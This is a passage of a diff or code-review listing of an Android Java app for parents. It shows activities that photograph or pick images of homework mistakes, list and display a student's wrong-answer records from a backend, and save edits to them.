98 | return ActivityAddSuccessBinding.inflate(getLayoutInflater()); | ||
99 | } | ||
100 | |||
101 | @Override | ||
102 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | ||
103 | super.onActivityResult(requestCode, resultCode, data); | ||
104 | if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) { | ||
105 | Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath)); | ||
106 | String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
107 | CommonUtil.saveBitmapToUri(b, path); | ||
108 | List<String> strings = new ArrayList<>(); | ||
109 | Intent intent = new Intent(context, ImageActivity.class); | ||
110 | strings.add(path); | ||
111 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
112 | startActivity(intent); | ||
113 | finish(); | ||
114 | } | ||
115 | } | ||
116 | |||
117 | public class HandlerCallBack implements IHandlerCallBack<ImageInfo> { | ||
118 | private String TAG = "---ImagePicker---"; | ||
119 | List<ImageInfo> photoList = new ArrayList<>(); | ||
120 | |||
121 | @Override | ||
122 | public void onStart() { | ||
123 | Log.i(TAG, "onStart: 开启"); | ||
124 | } | ||
125 | |||
126 | @Override | ||
127 | public void onSuccess(List<ImageInfo> photoList) { | ||
128 | this.photoList = photoList; | ||
129 | Log.i(TAG, "onSuccess: 返回数据"); | ||
130 | } | ||
131 | |||
132 | @Override | ||
133 | public void onCancel() { | ||
134 | Log.i(TAG, "onCancel: 取消"); | ||
135 | } | ||
136 | |||
137 | @Override | ||
138 | public void onFinish(List<ImageInfo> selectImage) { | ||
139 | if (selectImage.size() == photoList.size()) { | ||
140 | List<String> strings = new ArrayList<>(); | ||
141 | Intent intent = new Intent(context, ImageActivity.class); | ||
142 | for (ImageInfo imageInfo : selectImage) { | ||
143 | strings.add(imageInfo.getPath()); | ||
144 | } | ||
145 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
146 | startActivity(intent); | ||
147 | finish(); | ||
148 | } | ||
149 | } | ||
150 | |||
151 | @Override | ||
152 | public void onError() { | ||
153 | Log.i(TAG, "onError: 出错"); | ||
154 | } | ||
155 | } | ||
156 | } | ||
157 |
app/src/main/java/com/hjx/parent/App.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import com.prws.common.CommonApplication; | ||
4 | import com.prws.common.bean.GradeAndSubject; | ||
5 | import com.prws.common.utils.SharedPreferencesUtil; | ||
6 | import com.uuzuche.lib_zxing.activity.ZXingLibrary; | ||
7 | |||
8 | import java.util.List; | ||
9 | |||
10 | public class App extends CommonApplication { | ||
11 | private static App instance; | ||
12 | |||
13 | public static App getInstance() { | ||
14 | return instance; | ||
15 | } | ||
16 | |||
17 | private static String baiduToken; | ||
18 | |||
19 | public static void setBaiduToken(String baiduToken) { | ||
20 | App.baiduToken = baiduToken; | ||
21 | } | ||
22 | |||
23 | public static String getBaiduToken() { | ||
24 | return baiduToken; | ||
25 | } | ||
26 | |||
27 | private static List<GradeAndSubject> gradeAndSubjects; | ||
28 | |||
29 | public void setGradeAndSubjects(List<GradeAndSubject> gradeAndSubjects) { | ||
30 | App.gradeAndSubjects = gradeAndSubjects; | ||
31 | } | ||
32 | |||
33 | public List<GradeAndSubject> getGradeAndSubjects() { | ||
34 | return gradeAndSubjects; | ||
35 | } | ||
36 | |||
37 | @Override | ||
38 | public void onCreate() { | ||
39 | super.onCreate(); | ||
40 | this.instance = this; | ||
41 | SharedPreferencesUtil.getInstance(this, "config"); | ||
42 | ZXingLibrary.initDisplayOpinion(this); | ||
43 | } | ||
44 | } | ||
45 |
app/src/main/java/com/hjx/parent/BaseActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | |||
4 | import static com.xiasuhuei321.loadingdialog.view.LoadingDialog.Speed.SPEED_TWO; | ||
5 | |||
6 | import android.content.Context; | ||
7 | import android.graphics.Color; | ||
8 | import android.os.Bundle; | ||
9 | import android.view.View; | ||
10 | import android.view.Window; | ||
11 | import android.view.WindowManager; | ||
12 | import android.widget.Toast; | ||
13 | |||
14 | import androidx.annotation.Nullable; | ||
15 | import androidx.appcompat.app.AppCompatActivity; | ||
16 | import androidx.viewbinding.ViewBinding; | ||
17 | |||
18 | import com.hjx.parent.dialog.TipDialog; | ||
19 | import com.xiasuhuei321.loadingdialog.view.LoadingDialog; | ||
20 | |||
21 | |||
22 | public abstract class BaseActivity<VB extends ViewBinding> extends AppCompatActivity { | ||
23 | protected Context context; | ||
24 | protected AppCompatActivity activity; | ||
25 | protected VB binding; | ||
26 | private LoadingDialog dialog; | ||
27 | private TipDialog tipDialog; | ||
28 | |||
29 | @Override | ||
30 | protected void onCreate(@Nullable Bundle savedInstanceState) { | ||
31 | super.onCreate(savedInstanceState); | ||
32 | binding = getViewBinding(); | ||
33 | setContentView(binding.getRoot()); | ||
34 | showWhiteStatus(); | ||
35 | context = this; | ||
36 | activity = this; | ||
37 | initView(savedInstanceState); | ||
38 | } | ||
39 | |||
40 | |||
41 | public void showLoadingDialog(String text) { | ||
42 | dialog = new LoadingDialog(this); | ||
43 | dialog.setLoadingText(text) | ||
44 | .setSuccessText("成功")//显示加载成功时的文字 | ||
45 | .setFailedText("失败") | ||
46 | .setLoadSpeed(SPEED_TWO) | ||
47 | .show(); | ||
48 | } | ||
49 | |||
50 | public void loadFail(String text) { | ||
51 | dialog.setFailedText(text); | ||
52 | dialog.loadFailed(); | ||
53 | } | ||
54 | |||
55 | public void cancelLoadingDialog() { | ||
56 | dialog.loadSuccess(); | ||
57 | } | ||
58 | |||
59 | public void showWhiteStatus() { | ||
60 | Window window = getWindow(); | ||
61 | window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); | ||
62 | window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); | ||
63 | window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); | ||
64 | window.setStatusBarColor(Color.TRANSPARENT); | ||
65 | } | ||
66 | |||
67 | |||
68 | protected void hideBottomUIMenu() { | ||
69 | Window window = getWindow(); | ||
70 | window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); | ||
71 | window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | ||
72 | | View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); | ||
73 | window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); | ||
74 | window.setStatusBarColor(Color.TRANSPARENT); | ||
75 | } | ||
76 | |||
77 | public void showToast(String text) { | ||
78 | Toast.makeText(App.getInstance().getApplicationContext(), text, Toast.LENGTH_SHORT).show(); | ||
79 | } | ||
80 | |||
81 | public void showTipDialog(String title, String content, String cancel, String confirm, TipDialog.TipDialogInterface tipDialogInterface) { | ||
82 | tipDialog = new TipDialog(context, title, content, confirm, cancel, tipDialogInterface); | ||
83 | tipDialog.show(); | ||
84 | } | ||
85 | |||
86 | public abstract void initView(Bundle savedInstanceState); | ||
87 | |||
88 | protected abstract VB getViewBinding(); | ||
89 | |||
90 | } | ||
91 |
app/src/main/java/com/hjx/parent/ErrorBookActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.content.Intent; | ||
4 | import android.graphics.Bitmap; | ||
5 | import android.graphics.BitmapFactory; | ||
6 | import android.net.Uri; | ||
7 | import android.os.Bundle; | ||
8 | import android.provider.MediaStore; | ||
9 | import android.text.TextUtils; | ||
10 | import android.util.Log; | ||
11 | import android.view.LayoutInflater; | ||
12 | import android.view.View; | ||
13 | import android.view.ViewGroup; | ||
14 | import android.widget.LinearLayout; | ||
15 | |||
16 | import androidx.annotation.NonNull; | ||
17 | import androidx.annotation.Nullable; | ||
18 | import androidx.core.content.FileProvider; | ||
19 | import androidx.recyclerview.widget.LinearLayoutManager; | ||
20 | import androidx.recyclerview.widget.RecyclerView; | ||
21 | |||
22 | import com.chad.library.adapter.base.BaseQuickAdapter; | ||
23 | import com.chad.library.adapter.base.BaseViewHolder; | ||
24 | import com.google.gson.Gson; | ||
25 | import com.hjx.parent.adapter.ErrorAdapter; | ||
26 | import com.hjx.parent.bean.StudentBean; | ||
27 | import com.hjx.parent.databinding.ActivityErrorBookBinding; | ||
28 | import com.prws.common.base.BasePresenter; | ||
29 | import com.prws.common.bean.ImageBean; | ||
30 | import com.prws.common.bean.PageInfo; | ||
31 | import com.prws.common.bean.ResponseResult; | ||
32 | import com.prws.common.bean.TopicBean; | ||
33 | import com.prws.common.net.NetWorks; | ||
34 | import com.prws.common.utils.BitmapUtils; | ||
35 | import com.prws.common.utils.CommonUtil; | ||
36 | import com.prws.common.utils.SharedPreferencesUtil; | ||
37 | import com.prws.common.utils.dialog.MyButtomDialog; | ||
38 | import com.zhangteng.imagepicker.bean.ImageInfo; | ||
39 | import com.zhangteng.imagepicker.callback.HandlerCallBack; | ||
40 | import com.zhangteng.imagepicker.config.ImagePickerConfig; | ||
41 | import com.zhangteng.imagepicker.config.ImagePickerEnum; | ||
42 | import com.zhangteng.imagepicker.config.ImagePickerOpen; | ||
43 | import com.zhangteng.imagepicker.imageloader.GlideImageLoader; | ||
44 | import com.zhangteng.utils.IHandlerCallBack; | ||
45 | |||
46 | import java.io.File; | ||
47 | import java.util.ArrayList; | ||
48 | import java.util.Arrays; | ||
49 | import java.util.HashMap; | ||
50 | import java.util.List; | ||
51 | import java.util.Map; | ||
52 | |||
53 | import io.reactivex.Observer; | ||
54 | import io.reactivex.disposables.Disposable; | ||
55 | |||
56 | public class ErrorBookActivity extends BaseActivity<ActivityErrorBookBinding> { | ||
57 | StudentBean studentBean; | ||
58 | private int subject; | ||
59 | private ErrorAdapter adapter; | ||
60 | private int REQUEST_CODE_IMAGE = 123; | ||
61 | private String filePath; | ||
62 | |||
63 | @Override | ||
64 | public void initView(Bundle savedInstanceState) { | ||
65 | String student = (String) SharedPreferencesUtil.getData("student", ""); | ||
66 | try { | ||
67 | studentBean = new Gson().fromJson(student, StudentBean.class); | ||
68 | } catch (Exception e) { | ||
69 | |||
70 | } | ||
71 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
72 | @Override | ||
73 | public void onClick(View v) { | ||
74 | finish(); | ||
75 | } | ||
76 | }); | ||
77 | binding.rlTakePhoto.post(new Runnable() { | ||
78 | @Override | ||
79 | public void run() { | ||
80 | LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) binding.rlTakePhoto.getLayoutParams(); | ||
81 | layoutParams.width = CommonUtil.getScreenWidth(context); | ||
82 | layoutParams.height = CommonUtil.getScreenWidth(context) * 20 / 37; | ||
83 | binding.rlTakePhoto.setLayoutParams(layoutParams); | ||
84 | } | ||
85 | }); | ||
86 | binding.rlTakePhoto.setOnClickListener(new View.OnClickListener() { | ||
87 | @Override | ||
88 | public void onClick(View v) { | ||
89 | MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog); | ||
90 | View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null); | ||
91 | dialog.setContentView(bottomView); | ||
92 | bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() { | ||
93 | @Override | ||
94 | public void onClick(View view) { | ||
95 | dialog.dismiss(); | ||
96 | Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); | ||
97 | //确保有相机来处理Intent | ||
98 | filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
99 | File photoFile = new File(filePath); | ||
100 | if (photoFile != null) { | ||
101 | //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri | ||
102 | Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile); | ||
103 | takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); | ||
104 | takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri); | ||
105 | activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE); | ||
106 | } | ||
107 | } | ||
108 | }); | ||
109 | bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() { | ||
110 | @Override | ||
111 | public void onClick(View view) { | ||
112 | dialog.dismiss(); | ||
113 | ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器 | ||
114 | .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效) | ||
115 | .multiSelect(true) //是否多选 | ||
116 | .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false | ||
117 | .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型 | ||
118 | .maxImageSelectable(9) //图片可选择数 | ||
119 | .maxHeight(1920) //图片最大高度 | ||
120 | .maxWidth(1920) //图片最大宽度 | ||
121 | .maxImageSize(10) //图片最大大小Mb | ||
122 | .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build(); | ||
123 | ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorBookActivity.this); | ||
124 | |||
125 | } | ||
126 | }); | ||
127 | bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() { | ||
128 | @Override | ||
129 | public void onClick(View view) { | ||
130 | dialog.dismiss(); | ||
131 | } | ||
132 | }); | ||
133 | dialog.show(); | ||
134 | } | ||
135 | }); | ||
136 | BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_subject, Arrays.asList(getResources().getStringArray(R.array.filter_subject))) { | ||
137 | @Override | ||
138 | public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { | ||
139 | |||
140 | } | ||
141 | |||
142 | @Override | ||
143 | protected void convert(@NonNull BaseViewHolder item, Object o) { | ||
144 | item.setText(R.id.tv_subject, getResources().getStringArray(R.array.filter_subject)[item.getAdapterPosition()]); | ||
145 | switch (item.getAdapterPosition()) { | ||
146 | case 0: | ||
147 | item.setImageResource(R.id.iv_subject, R.mipmap.ic_chinese); | ||
148 | break; | ||
149 | case 1: | ||
150 | item.setImageResource(R.id.iv_subject, R.mipmap.ic_math); | ||
151 | break; | ||
152 | case 2: | ||
153 | item.setImageResource(R.id.iv_subject, R.mipmap.ic_english); | ||
154 | break; | ||
155 | case 3: | ||
156 | item.setImageResource(R.id.iv_subject, R.mipmap.ic_physics); | ||
157 | break; | ||
158 | case 4: | ||
159 | item.setImageResource(R.id.iv_subject, R.mipmap.ic_chemistry); | ||
160 | break; | ||
161 | } | ||
162 | ViewGroup.LayoutParams layoutParams = item.getView(R.id.rl_subject).getLayoutParams(); | ||
163 | layoutParams.width = (CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30)) / 4; | ||
164 | item.getView(R.id.rl_subject).setLayoutParams(layoutParams); | ||
165 | item.getConvertView().setOnClickListener(new View.OnClickListener() { | ||
166 | @Override | ||
167 | public void onClick(View v) { | ||
168 | if (subject != item.getAdapterPosition()) { | ||
169 | subject = item.getAdapterPosition(); | ||
170 | getError(getResources().getStringArray(R.array.filter_subject)[subject]); | ||
171 | } | ||
172 | } | ||
173 | }); | ||
174 | } | ||
175 | }; | ||
176 | binding.recycleSubject.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false)); | ||
177 | binding.recycleSubject.setAdapter(adapter); | ||
178 | subject = 0; | ||
179 | getError(getResources().getStringArray(R.array.filter_subject)[subject]); | ||
180 | binding.llAll.setOnClickListener(new View.OnClickListener() { | ||
181 | @Override | ||
182 | public void onClick(View v) { | ||
183 | Intent intent = new Intent(context, ErrorListActivity.class); | ||
184 | startActivity(intent); | ||
185 | } | ||
186 | }); | ||
187 | } | ||
188 | |||
189 | @Override | ||
190 | protected ActivityErrorBookBinding getViewBinding() { | ||
191 | return ActivityErrorBookBinding.inflate(getLayoutInflater()); | ||
192 | } | ||
193 | |||
194 | private void getError(String subject) { | ||
195 | if (studentBean != null) { | ||
196 | Map map = new HashMap(); | ||
197 | map.put("subject", subject); | ||
198 | map.put("stuId", studentBean.getStuId()); | ||
199 | map.put("pageSize", 5); | ||
200 | map.put("pageNum", 1); | ||
201 | NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() { | ||
202 | @Override | ||
203 | public void onSubscribe(Disposable d) { | ||
204 | |||
205 | } | ||
206 | |||
207 | @Override | ||
208 | public void onNext(ResponseResult<PageInfo<TopicBean>> result) { | ||
209 | if (result.getData() != null && result.getCode() == 200) { | ||
210 | List<TopicBean> topicBeans = result.getData().getList(); | ||
211 | loadError(topicBeans); | ||
212 | } | ||
213 | } | ||
214 | |||
215 | @Override | ||
216 | public void onError(Throwable e) { | ||
217 | e.toString(); | ||
218 | } | ||
219 | |||
220 | @Override | ||
221 | public void onComplete() { | ||
222 | |||
223 | } | ||
224 | }); | ||
225 | } | ||
226 | } | ||
227 | |||
228 | @Override | ||
229 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | ||
230 | super.onActivityResult(requestCode, resultCode, data); | ||
231 | if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) { | ||
232 | Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath)); | ||
233 | String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
234 | CommonUtil.saveBitmapToUri(b, path); | ||
235 | List<String> strings = new ArrayList<>(); | ||
236 | Intent intent = new Intent(context, ImageActivity.class); | ||
237 | strings.add(path); | ||
238 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
239 | startActivity(intent); | ||
240 | } | ||
241 | } | ||
242 | |||
243 | private void loadError(List<TopicBean> list) { | ||
244 | if (list.size() > 0) { | ||
245 | binding.recycleError.setVisibility(View.VISIBLE); | ||
246 | binding.llEmpty.setVisibility(View.GONE); | ||
247 | if (adapter != null) { | ||
248 | adapter.refresh(list); | ||
249 | } else { | ||
250 | adapter = new ErrorAdapter(context, list, false); | ||
251 | binding.recycleError.setLayoutManager(new LinearLayoutManager(context, RecyclerView.VERTICAL, false)); | ||
252 | binding.recycleError.setAdapter(adapter); | ||
253 | } | ||
254 | } else { | ||
255 | binding.recycleError.setVisibility(View.GONE); | ||
256 | binding.llEmpty.setVisibility(View.VISIBLE); | ||
257 | } | ||
258 | } | ||
259 | |||
260 | public class HandlerCallBack implements IHandlerCallBack<ImageInfo> { | ||
261 | private String TAG = "---ImagePicker---"; | ||
262 | List<ImageInfo> photoList = new ArrayList<>(); | ||
263 | |||
264 | @Override | ||
265 | public void onStart() { | ||
266 | Log.i(TAG, "onStart: 开启"); | ||
267 | } | ||
268 | |||
269 | @Override | ||
270 | public void onSuccess(List<ImageInfo> photoList) { | ||
271 | this.photoList = photoList; | ||
272 | Log.i(TAG, "onSuccess: 返回数据"); | ||
273 | } | ||
274 | |||
275 | @Override | ||
276 | public void onCancel() { | ||
277 | Log.i(TAG, "onCancel: 取消"); | ||
278 | } | ||
279 | |||
280 | @Override | ||
281 | public void onFinish(List<ImageInfo> selectImage) { | ||
282 | if (selectImage.size() == photoList.size()) { | ||
283 | List<String> strings = new ArrayList<>(); | ||
284 | Intent intent = new Intent(context, ImageActivity.class); | ||
285 | for (ImageInfo imageInfo : selectImage) { | ||
286 | strings.add(imageInfo.getPath()); | ||
287 | } | ||
288 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
289 | startActivity(intent); | ||
290 | } | ||
291 | } | ||
292 | |||
293 | @Override | ||
294 | public void onError() { | ||
295 | Log.i(TAG, "onError: 出错"); | ||
296 | } | ||
297 | } | ||
298 | } | ||
299 |
app/src/main/java/com/hjx/parent/ErrorDetailActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.os.Bundle; | ||
4 | import android.text.TextUtils; | ||
5 | import android.view.View; | ||
6 | import android.webkit.WebSettings; | ||
7 | import android.widget.AdapterView; | ||
8 | import android.widget.RadioButton; | ||
9 | import android.widget.RadioGroup; | ||
10 | |||
11 | import com.bumptech.glide.Glide; | ||
12 | import com.hjx.parent.databinding.ActivityErrorDetailBinding; | ||
13 | import com.hjx.parent.dialog.ErrorEditDialog; | ||
14 | import com.prws.common.bean.ErrorDetailBean; | ||
15 | import com.prws.common.bean.ResponseResult; | ||
16 | import com.prws.common.bean.TopicBean; | ||
17 | import com.prws.common.net.NetWorks; | ||
18 | import com.prws.common.utils.CommonUtil; | ||
19 | import com.prws.common.utils.StringUtils; | ||
20 | |||
21 | import java.util.ArrayList; | ||
22 | import java.util.HashMap; | ||
23 | import java.util.List; | ||
24 | import java.util.Map; | ||
25 | |||
26 | import io.reactivex.Observer; | ||
27 | import io.reactivex.disposables.Disposable; | ||
28 | |||
29 | public class ErrorDetailActivity extends BaseActivity<ActivityErrorDetailBinding> { | ||
30 | private TopicBean bean; | ||
31 | |||
32 | @Override | ||
33 | public void initView(Bundle savedInstanceState) { | ||
34 | bean = (TopicBean) getIntent().getSerializableExtra("errorBean"); | ||
35 | loadError(); | ||
36 | } | ||
37 | |||
38 | public void loadError() { | ||
39 | if (bean.getBean() != null) { | ||
40 | ErrorDetailBean errorDetailBean = bean.getBean(); | ||
41 | if (TextUtils.isEmpty(errorDetailBean.getContent())) { | ||
42 | binding.llOrigin.setVisibility(View.GONE); | ||
43 | } else { | ||
44 | String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">"; | ||
45 | StringBuilder sb = new StringBuilder(4096); | ||
46 | if (!TextUtils.isEmpty(errorDetailBean.getLabel())) { | ||
47 | sb.append(errorDetailBean.getLabel()); | ||
48 | } | ||
49 | sb.append(errorDetailBean.getContent()); | ||
50 | if (errorDetailBean.getOptions() != null && errorDetailBean.getOptions().size() > 0) { | ||
51 | sb.append("<div class='pt1'>"); | ||
52 | sb.append(StringUtils.OptionsHtml(errorDetailBean.getOptions(), null)); | ||
53 | sb.append("</div>"); | ||
54 | } | ||
55 | String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>"; | ||
56 | binding.webContent.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null); | ||
57 | binding.webContent.setVisibility(View.VISIBLE); | ||
58 | binding.llOrigin.setVisibility(View.VISIBLE); | ||
59 | } | ||
60 | if (TextUtils.isEmpty(errorDetailBean.getMethod())) { | ||
61 | binding.llAnalyse.setVisibility(View.GONE); | ||
62 | } else { | ||
63 | binding.llAnalyse.setVisibility(View.VISIBLE); | ||
64 | String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">"; | ||
65 | String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getMethod() + "</body></html>"; | ||
66 | binding.webAnalyse.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null); | ||
67 | } | ||
68 | if (TextUtils.isEmpty(errorDetailBean.getDisplayAnswer())) { | ||
69 | binding.llAnswer.setVisibility(View.GONE); | ||
70 | } else { | ||
71 | binding.llAnswer.setVisibility(View.VISIBLE); | ||
72 | String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">"; | ||
73 | String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getDisplayAnswer() + "</body></html>"; | ||
74 | binding.webAnswer.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null); | ||
75 | } | ||
76 | if (errorDetailBean.getPoints().size() > 0) { | ||
77 | List<String> points = new ArrayList<>(); | ||
78 | String topic = ""; | ||
79 | for (int j = 0; j < errorDetailBean.getPoints().size(); j++) { | ||
80 | if (j > 0) { | ||
81 | topic += "、"; | ||
82 | } | ||
83 | topic += errorDetailBean.getPoints().get(j).getValue(); | ||
84 | points.add(errorDetailBean.getPoints().get(j).getKey()); | ||
85 | } | ||
86 | binding.llPoints.setVisibility(View.VISIBLE); | ||
87 | binding.tvPoints.setText(topic); | ||
88 | } else { | ||
89 | binding.llPoints.setVisibility(View.GONE); | ||
90 | } | ||
91 | } else { | ||
92 | binding.llAnalyse.setVisibility(View.GONE); | ||
93 | binding.llAnswer.setVisibility(View.GONE); | ||
94 | binding.llOrigin.setVisibility(View.GONE); | ||
95 | binding.llPoints.setVisibility(View.GONE); | ||
96 | } | ||
97 | if (TextUtils.isEmpty(bean.getPath())) { | ||
98 | binding.llPic.setVisibility(View.GONE); | ||
99 | } else { | ||
100 | Glide.with(context).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 40), CommonUtil.dpToPx(context, 90)).fitCenter().into(binding.ivTopic); | ||
101 | } | ||
102 | binding.tvTitle.setText(bean.getName()); | ||
103 | RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(bean.getIsDone()); | ||
104 | typeButton.setChecked(true); | ||
105 | binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { | ||
106 | @Override | ||
107 | public void onCheckedChanged(RadioGroup group, int checkedId) { | ||
108 | saveError(); | ||
109 | } | ||
110 | }); | ||
111 | binding.spinnerReason.setSelection(bean.getReason()); | ||
112 | binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { | ||
113 | @Override | ||
114 | public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { | ||
115 | saveError(); | ||
116 | } | ||
117 | |||
118 | @Override | ||
119 | public void onNothingSelected(AdapterView<?> parent) { | ||
120 | |||
121 | } | ||
122 | }); | ||
123 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
124 | @Override | ||
125 | public void onClick(View v) { | ||
126 | finish(); | ||
127 | } | ||
128 | }); | ||
129 | binding.ivEdit.setOnClickListener(new View.OnClickListener() { | ||
130 | @Override | ||
131 | public void onClick(View v) { | ||
132 | List<TopicBean> topicBeans = new ArrayList<>(); | ||
133 | topicBeans.add(bean); | ||
134 | ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, topicBeans, new ErrorEditDialog.EditInterface() { | ||
135 | @Override | ||
136 | public void edit(String name, int reason) { | ||
137 | binding.tvTitle.setText(name); | ||
138 | binding.spinnerReason.setSelection(reason); | ||
139 | } | ||
140 | }); | ||
141 | errorEditDialog.show(); | ||
142 | } | ||
143 | }); | ||
144 | } | ||
145 | |||
146 | public void saveError() { | ||
147 | int done = 0; | ||
148 | for (int i = 0; i < binding.typeRadio.getChildCount(); i++) { | ||
149 | RadioButton rb = (RadioButton) binding.typeRadio.getChildAt(i); | ||
150 | if (rb.isChecked()) { | ||
151 | done = i; | ||
152 | } | ||
153 | } | ||
154 | bean.setDone(done == 1); | ||
155 | Map<String, Object> map = new HashMap<>(); | ||
156 | map.put("bookId", bean.getId()); | ||
157 | map.put("controlFlag", done == 1 ? 0 : 1); | ||
158 | map.put("errorReason", binding.spinnerReason.getSelectedItemPosition()); | ||
159 | NetWorks.editError(map, new Observer<ResponseResult>() { | ||
160 | @Override | ||
161 | public void onSubscribe(Disposable d) { | ||
162 | |||
163 | } | ||
164 | |||
165 | @Override | ||
166 | public void onNext(ResponseResult responseResult) { | ||
167 | |||
168 | } | ||
169 | |||
170 | @Override | ||
171 | public void onError(Throwable e) { | ||
172 | |||
173 | } | ||
174 | |||
175 | @Override | ||
176 | public void onComplete() { | ||
177 | |||
178 | } | ||
179 | }); | ||
180 | } | ||
181 | |||
182 | @Override | ||
183 | protected ActivityErrorDetailBinding getViewBinding() { | ||
184 | return ActivityErrorDetailBinding.inflate(getLayoutInflater()); | ||
185 | } | ||
186 | } | ||
187 |
app/src/main/java/com/hjx/parent/ErrorListActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.DialogInterface; | ||
5 | import android.content.Intent; | ||
6 | import android.graphics.Bitmap; | ||
7 | import android.graphics.BitmapFactory; | ||
8 | import android.graphics.Color; | ||
9 | import android.graphics.drawable.Drawable; | ||
10 | import android.net.Uri; | ||
11 | import android.os.Bundle; | ||
12 | import android.provider.MediaStore; | ||
13 | import android.text.TextUtils; | ||
14 | import android.util.Log; | ||
15 | import android.view.KeyEvent; | ||
16 | import android.view.LayoutInflater; | ||
17 | import android.view.View; | ||
18 | import android.widget.CompoundButton; | ||
19 | import android.widget.RadioButton; | ||
20 | import android.widget.RadioGroup; | ||
21 | import android.widget.TextView; | ||
22 | |||
23 | import androidx.annotation.Nullable; | ||
24 | import androidx.core.content.FileProvider; | ||
25 | import androidx.recyclerview.widget.GridLayoutManager; | ||
26 | import androidx.recyclerview.widget.LinearLayoutManager; | ||
27 | import androidx.recyclerview.widget.RecyclerView; | ||
28 | |||
29 | import com.google.gson.Gson; | ||
30 | import com.hjx.parent.adapter.ErrorAdapter; | ||
31 | import com.hjx.parent.adapter.FilterAdapter; | ||
